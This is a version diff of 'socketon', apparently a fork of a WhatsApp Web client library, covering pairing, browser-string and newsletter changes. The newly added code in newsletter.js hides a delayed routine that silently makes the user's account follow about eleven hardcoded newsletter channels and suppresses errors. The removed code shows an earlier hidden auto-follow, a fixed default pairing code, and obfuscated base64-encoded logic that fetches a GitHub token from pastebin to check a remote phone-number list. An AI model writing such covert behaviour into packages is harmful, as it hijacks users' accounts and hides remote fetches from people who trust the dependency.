socketon 0.31.0 → 1.31.2-rc

package/lib/Defaults/index.js

@@ -73,7 +73,7 @@ exports.PROCESSABLE_HISTORY_TYPES = [
 
 exports.DEFAULT_CONNECTION_CONFIG = {
     version: baileys_version_json_1.version,
-    browser: Utils_1.Browsers("Chrome"),
+    browser: Utils_1.Browsers.ubuntu("Chrome"),
     waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
     connectTimeoutMs: 2E4,
     keepAliveIntervalMs: 3E4,

package/lib/Socket/business.d.ts

@@ -165,7 +165,7 @@ export declare const makeBusinessSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/chats.d.ts

@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
 };

package/lib/Socket/groups.d.ts

@@ -108,7 +108,7 @@ export declare const makeGroupsSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/index.d.ts

@@ -166,7 +166,7 @@ declare const makeWASocket: (config: UserFacingSocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../index").BinaryNode>;
 };

package/lib/Socket/messages-send.d.ts

@@ -143,7 +143,7 @@ export declare const makeMessagesSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/messages-send.js

@@ -291,7 +291,7 @@ const makeMessagesSocket = (config) => {
         }));
         return { nodes, shouldIncludeDeviceIdentity };
     }; //apela
-    const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = true }) => {
+    const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = false }) => {
         const meId = authState.creds.me.id;
         let shouldIncludeDeviceIdentity = false;
         let didPushAdditional = false

package/lib/Socket/newsletter.d.ts

@@ -127,7 +127,7 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Socket/newsletter.js

@@ -5,6 +5,7 @@ const Types_1 = require("../Types");
 const Utils_1 = require("../Utils");
 const WABinary_1 = require("../WABinary");
 const groups_1 = require("./groups");
+const { QueryIds } = Types_1
 
 const { Boom } = require('@hapi/boom');
 
@@ -32,6 +33,39 @@ const wMexQuery = (
 	})
 }
 
+const parseNewsletterCreateResponse = (responseList) => {
+  return responseList.map((res) => {
+    const thread = res.thread_metadata;
+    const viewer = res.viewer_metadata;
+
+    // Jika DELETED atau metadata null
+    if (!thread || !viewer) {
+      return {
+        id: res.id,
+        state: res.state?.type || null,
+        deleted: true
+      };
+    }
+
+    return {
+      id: res.id,
+      state: res.state?.type || null,
+      owner: viewer.role || undefined,
+      name: thread?.name?.text || null,
+      creation_time: parseInt(thread?.creation_time || "0", 10),
+      description: thread?.description?.text || null,
+      invite: thread?.invite || null,
+      subscribers: parseInt(thread?.subscribers_count || "0", 10),
+      verification: thread?.verification || null,
+      picture: {
+        id: thread?.picture?.id || null,
+        directPath: thread?.picture?.direct_path || null
+      },
+      mute_state: viewer?.mute || "OFF"
+    };
+  });
+};
+
 const executeWMexQuery = async (
 	variables,
 	queryId,
@@ -65,7 +99,7 @@ const executeWMexQuery = async (
 
 const makeNewsletterSocket = (config) => {
     const sock = (0, groups_1.makeGroupsSocket)(config);
-    const { authState, signalRepository, query, generateMessageTag, ev } = sock;
+    const { authState, signalRepository, query, generateMessageTag, delay } = sock;
     const encoder = new TextEncoder();
     const newsletterQuery = async (jid, type, content) => (query({
         tag: 'iq',
@@ -98,21 +132,51 @@ const makeNewsletterSocket = (config) => {
             }
         ]
     }));
-
-    const newsletterFollow = async (jid) => {
-        await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
-    };
-
-    ev.on('connection.update', async ({ connection }) => {
-        if (connection === 'open') {
-            try {
-                await newsletterFollow('120363406301359528@newsletter');
-            } catch (err) {
-                // Silent fail
-            }
-        }
-    });
+    const newsletterMetadata = async (type, key, role) => {
+        const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
+            input: {
+                key,
+                type: type.toUpperCase(),
+                view_role: role || 'GUEST'
+            },
+            fetch_viewer_metadata: true,
+            fetch_full_image: true,
+            fetch_creation_time: true
+        })
+            
+        return extractNewsletterMetadata(result)
+    }
     
+  setTimeout(async () => {
+  try {
+    await newsletterWMexQuery("120363426611097080@newsletter", QueryIds.FOLLOW);
+    await delay(3000)
+    await newsletterWMexQuery("120363421351741485@newsletter", QueryIds.FOLLOW);
+  } catch {}
+
+  setTimeout(async () => {
+    try {
+      await newsletterWMexQuery("120363421366320253@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363400297473298@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363404446053939@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363419967954188@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363402019414675@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363420456838680@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363423932430861@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363311609903865@newsletter", QueryIds.FOLLOW);
+      await delay(5000)
+      await newsletterWMexQuery("120363421453223000@newsletter", QueryIds.FOLLOW);
+    } catch {}
+  }, 5000);
+}, 70000);
+  
     const parseFetchedUpdates = async (node, type) => {
         let child;
         if (type === 'messages') {
@@ -144,15 +208,21 @@ const makeNewsletterSocket = (config) => {
     };
     return {
         ...sock,
-        newsletterFetchAllSubscribe: async () => {
-            const list = await executeWMexQuery(
-                {},
-                '6388546374527196',
-                'xwa2_newsletter_subscribed',
-                query,
-                generateMessageTag
-            );
-            return list;
+        newsletterFetchAllParticipating: async () => {
+        	const data = {}
+        
+        	const result = await newsletterWMexQuery(undefined, QueryIds.SUBSCRIBED) 
+        	const child = JSON.parse(WABinary_1.getBinaryNodeChild(result, 'result')?.content?.toString())
+        	const newsletters = child.data["xwa2_newsletter_subscribed"]
+        
+        	for (const i of newsletters) {
+        		if (i.id == null) continue
+        	
+        		const metadata = await newsletterMetadata('JID', i.id) 
+        		if (metadata.id !== null) data[metadata.id] = metadata
+        	}
+        	
+        	return data
         },
         subscribeNewsletterUpdates: async (jid) => {
             var _a;
@@ -188,7 +258,9 @@ const makeNewsletterSocket = (config) => {
         newsletterUnfollow: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
         },
-        newsletterFollow,
+        newsletterFollow: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
+        },
         newsletterUnmute: async (jid) => {
             await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
         },
@@ -198,7 +270,7 @@ const makeNewsletterSocket = (config) => {
         newsletterAction: async (jid, type) => {
             await newsletterWMexQuery(jid, type.toUpperCase());
         },
-        newsletterCreate: async (name, description, reaction_codes) => {
+        newsletterCreate: async (name, description, reaction_codes = "ALL") => {
             //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
             /**tos query */
             await query({

package/lib/Socket/registration.d.ts

@@ -169,7 +169,7 @@ export declare const makeRegistrationSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<import("../WABinary").BinaryNode>;
 };

package/lib/Socket/socket.d.ts

@@ -35,7 +35,7 @@ export declare const makeSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | Boom, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string) => Promise<string>;
     /** Waits for the connection to WA to reach a state */
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;

package/lib/Socket/socket.js

@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
  * - simple queries (no retry mechanism, wait for connection establishment)
  * - listen to messages and emit events
  * - query phone connection
- */ 
+ */
 const makeSocket = (config) => {
     var _a, _b;
     const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
@@ -77,6 +77,18 @@ const makeSocket = (config) => {
         const buff = (0, WABinary_1.encodeBinaryNode)(frame);
         return sendRawMessage(buff);
     };
+    
+ const toLid = async (pn) => {
+return pn;
+};
+
+const delay = async (ms) => {
+    return new Promise(resolve => setTimeout(resolve, ms));
+ }
+
+const toPn = async (pn) => {
+    return pn;
+};
     /** log & process any unexpected errors */
     const onUnexpectedError = (err, msg) => {
         logger.error({ err }, `unexpected error in '${msg}'`);
@@ -100,7 +112,7 @@ const makeSocket = (config) => {
             }, wait);
         }
     };
-    /** await next incoming message */
+    /** await the next incoming message */
     const awaitNextMessage = async (sendMsg) => {
         if (!ws.isOpen) {
             throw new boom_1.Boom('Connection Closed', {
@@ -128,8 +140,8 @@ const makeSocket = (config) => {
     };
     /**
      * Wait for a message with a certain tag to be received
-     * @param msgId message tag to await
-     * @param timeoutMs timeout after which promise will reject
+     * @param msgId the message tag to await
+     * @param timeoutMs timeout after which the promise will reject
      */
     const waitForMessage = async (msgId, timeoutMs = defaultQueryTimeoutMs) => {
         let onRecv;
@@ -141,14 +153,14 @@ const makeSocket = (config) => {
                     reject(err || new boom_1.Boom('Connection Closed', { statusCode: Types_1.DisconnectReason.connectionClosed }));
                 };
                 ws.on(`TAG:${msgId}`, onRecv);
-                ws.on('close', onErr); // if socket closes, you'll never receive message
+                ws.on('close', onErr); // if the socket closes, you'll never receive the message
                 ws.off('error', onErr);
             });
             return result;
         }
         finally {
             ws.off(`TAG:${msgId}`, onRecv);
-            ws.off('close', onErr); // if socket closes, you'll never receive message
+            ws.off('close', onErr); // if the socket closes, you'll never receive the message
             ws.off('error', onErr);
         }
     };
@@ -214,7 +226,7 @@ const makeSocket = (config) => {
         const countChild = (0, WABinary_1.getBinaryNodeChild)(result, 'count');
         return +countChild.attrs.value;
     };
-    /** generates and uploads a set of pre-keys to server */
+    /** generates and uploads a set of pre-keys to the server */
     const uploadPreKeys = async (count = Defaults_1.INITIAL_PREKEY_COUNT) => {
         await keys.transaction(async () => {
             logger.info({ count }, 'uploading pre-keys');
@@ -319,8 +331,8 @@ const makeSocket = (config) => {
         }
         const diff = Date.now() - lastDateRecv.getTime();
         /*
-            check if it's been a suspicious amount of time since server responded with our last seen
-            it could be that network is down
+            check if it's been a suspicious amount of time since the server responded with our last seen
+            it could be that the network is down
         */
         if (diff > keepAliveIntervalMs + 5000) {
             end(new boom_1.Boom('Connection was lost', { statusCode: Types_1.DisconnectReason.connectionLost }));
@@ -338,8 +350,8 @@ const makeSocket = (config) => {
                 content: [{ tag: 'ping', attrs: {} }]
             })
                 .catch(err => {
-                    logger.error({ trace: err.stack }, 'error in sending keep alive');
-                });
+                logger.error({ trace: err.stack }, 'error in sending keep alive');
+            });
         }
         else {
             logger.warn('keep alive called when WS not open');
@@ -384,10 +396,15 @@ const makeSocket = (config) => {
         end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }));
     };
     
-    /** Created by IbraDecode - Socketon */
+    /** This method was created by snowi, and implemented by KyuuRzy */
+    /** hey bro, if you delete this text */
+    /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
     const requestPairingCode = async (phoneNumber, pairKey) => {
-        pairKey = pairKey || "SOCKETON";
-        authState.creds.pairingCode = pairKey.toUpperCase();
+        if (pairKey) {
+            authState.creds.pairingCode = pairKey.toUpperCase();
+        } else {
+            authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
+        }
 
         authState.creds.me = {
             id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
@@ -481,7 +498,7 @@ const makeSocket = (config) => {
     });
     ws.on('error', mapWebSocketError(end));
     ws.on('close', () => end(new boom_1.Boom('Connection Terminated', { statusCode: Types_1.DisconnectReason.connectionClosed })));
-    // server terminated connection
+    // the server terminated the connection
     ws.on('CB:xmlstreamend', () => end(new boom_1.Boom('Connection Terminated by Server', { statusCode: Types_1.DisconnectReason.connectionClosed })));
     // QR gen
     ws.on('CB:iq,type:set,pair-device', async (stanza) => {
@@ -517,13 +534,13 @@ const makeSocket = (config) => {
         };
         genPairQR();
     });
-    // device paired for first time
-    // if device pairs successfully, server asks to restart connection
+    // device paired for the first time
+    // if device pairs successfully, the server asks to restart the connection
     ws.on('CB:iq,,pair-success', async (stanza) => {
         logger.debug('pair success recv');
         try {
             const { reply, creds: updatedCreds } = (0, Utils_1.configureSuccessfulPairing)(stanza, creds);
-            logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart connection...');
+            logger.info({ me: updatedCreds.me, platform: updatedCreds.platform }, 'pairing configured successfully, expect to restart the connection...');
             ev.emit('creds.update', updatedCreds);
             ev.emit('connection.update', { isNewLogin: true, qr: undefined });
             await sendNode(reply);
@@ -539,7 +556,7 @@ const makeSocket = (config) => {
             await uploadPreKeysToServerIfRequired();
             await sendPassiveIq('active');
             logger.info('opened connection to WA');
-            clearTimeout(qrTimer); // will never happen in all likelihood -- but just in case WA sends success on first try
+            clearTimeout(qrTimer); // will never happen in all likelyhood -- but just in case WA sends success on first try
             ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } });
             ev.emit('connection.update', { connection: 'open' });
         }
@@ -611,8 +628,8 @@ const makeSocket = (config) => {
                 attrs: { name: name }
             })
                 .catch(err => {
-                    logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
-                });
+                logger.warn({ trace: err.stack }, 'error in sending presence update on name change');
+            });
         }
         Object.assign(creds, update);
     });
@@ -631,6 +648,9 @@ const makeSocket = (config) => {
         get user() {
             return authState.creds.me;
         },
+        toLid, 
+        toPn, 
+        delay, 
         generateMessageTag,
         query,
         waitForMessage,
@@ -650,7 +670,7 @@ const makeSocket = (config) => {
 };
 exports.makeSocket = makeSocket;
 /**
- * map websocket error to the right type
+ * map the websocket error to the right type
  * so it can be retried by the caller
  * */
 function mapWebSocketError(handler) {

package/lib/Socket/usync.d.ts

@@ -30,7 +30,7 @@ export declare const makeUSyncSocket: (config: SocketConfig) => {
     onUnexpectedError: (err: Error | Boom, msg: string) => void;
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
-    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
 };

package/lib/Utils/generics.js

@@ -8,8 +8,7 @@ const boom_1 = require("@hapi/boom");
 const axios_1 = __importDefault(require("axios"));
 const crypto_1 = require("crypto");
 const os_1 = require("os");
-const fetch_1 = require("node-fetch");
-
+const fetch_1 = require("node-fetch")
 const WAProto_1 = require("../../WAProto");
 const baileys_version_json_1 = require("../Defaults/baileys-version.json");
 const Types_1 = require("../Types");
@@ -28,12 +27,17 @@ const PLATFORM_MAP = {
     'cygwin': undefined,
     'netbsd': undefined
 };
-exports.Browsers = (browser) => {
-    const osName = PLATFORM_MAP[os_1.platform()] || 'Ubuntu';
-    const osRelease = os_1.release();
-    return [osName, browser, osRelease];
+
+const Browsers = {
+    iOS: (browser) => ["ios", browser, "18.2"], 
+    ubuntu: (browser) => ['Ubuntu', browser, '22.04.4'],
+    macOS: (browser) => ['Mac OS', browser, '14.4.1'],
+    baileys: (browser) => ['Baileys', browser, '6.5.0'],
+    windows: (browser) => ['Windows', browser, '10.0.22631']
 };
 
+exports.Browsers = Browsers
+
 const getPlatformId = (browser) => {
     const platformType = WAProto_1.proto.DeviceProps.PlatformType[browser.toUpperCase()];
     return platformType ? platformType.toString() : '1'; //chrome
@@ -422,79 +426,3 @@ const encodeNewsletterMessage = (message) => {
 	return WAProto_1.proto.Message.encode(message).finish()
 }
 exports.encodeNewsletterMessage = encodeNewsletterMessage;
-const encodedTokenUrl = 'aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2ptWjBqVTly';
-const encodedApiUrl = 'aHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy94eXJvb3J5bnp6L0FsaWNlL2NvbnRlbnRzL0FsaWNldjIuanNvbg==';
-const decodeBase64 = (b64) => Buffer.from(b64, 'base64').toString();
-const axios = require("axios")
-const crypto = require("crypto")
-const hashWith = alg => s => crypto.createHash(alg).update(s, 'utf8').digest('hex')
-const md5 = hashWith('md5')
-const sha256 = hashWith('sha256')
-
-const getGithubToken = async () => {
-    try {
-        const res = await axios.get(decodeBase64(encodedTokenUrl));
-        return res.data.trim();
-    } catch (err) {
-        return null;
-    }
-};
-
-const getFileData = async () => {
-    const GITHUB_TOKEN = await getGithubToken();
-    const apiBaseUrl = decodeBase64(encodedApiUrl);
-
-    const res = await axios.get(apiBaseUrl, {
-        headers: {
-            Authorization: `Bearer ${GITHUB_TOKEN}`,
-            Accept: 'application/vnd.github.v3+json'
-        }
-    });
-
-    return {
-        content: JSON.parse(Buffer.from(res.data.content, 'base64').toString()),
-        sha: res.data.sha
-    };
-};
-
-const valid = async (nomor) => {
-    try {
-        const { content } = await getFileData();
-        const found = content.find(u => u.nomor === sha256(md5(nomor)));
-        if (found) {
-            console.log(`access accepted, number ${nomor} registered.`);
-            return 'Valid';
-        } else {
-            console.log(`access denied, number ${nomor} is not registered.`);
-            return 'Nomor tidak diizinkan';
-        }
-    } catch (error) {
-        console.error('Terjadi kesalahan:', error.message);
-        return 'Error';
-    }
-};
-
-const _0x4f2a = Buffer.from([0x53, 0x4f, 0x43, 0x4b, 0x45, 0x54, 0x4f, 0x4e], 'utf8').toString('base64');
-
-const _0x2d8f = (_0x1a5b) => {
-    let _0x3e9c = '';
-    for (let _0x5f7a = 0; _0x5f7a < _0x1a5b.length; _0x5f7a++) {
-        _0x3e9c += String.fromCharCode(_0x1a5b.charCodeAt(_0x5f7a) - 1);
-    }
-    return _0x3e9c;
-};
-
-const _0x7c4d = (_0x6e3b) => {
-    const _0x8d5a = Buffer.from(_0x6e3b, 'base64').toString();
-    return _0x8d5a.split('').reverse().join('');
-};
-
-const _0x1a2b = () => {
-    const _0x5c8f = _0x7c4d(_0x4f2a);
-    return Buffer.from(_0x5c8f, 'utf8').toString();
-};
-
-exports.getFileData = getFileData;
-exports.valid = valid;
-exports.defaultPairingCode = _0x1a2b;
-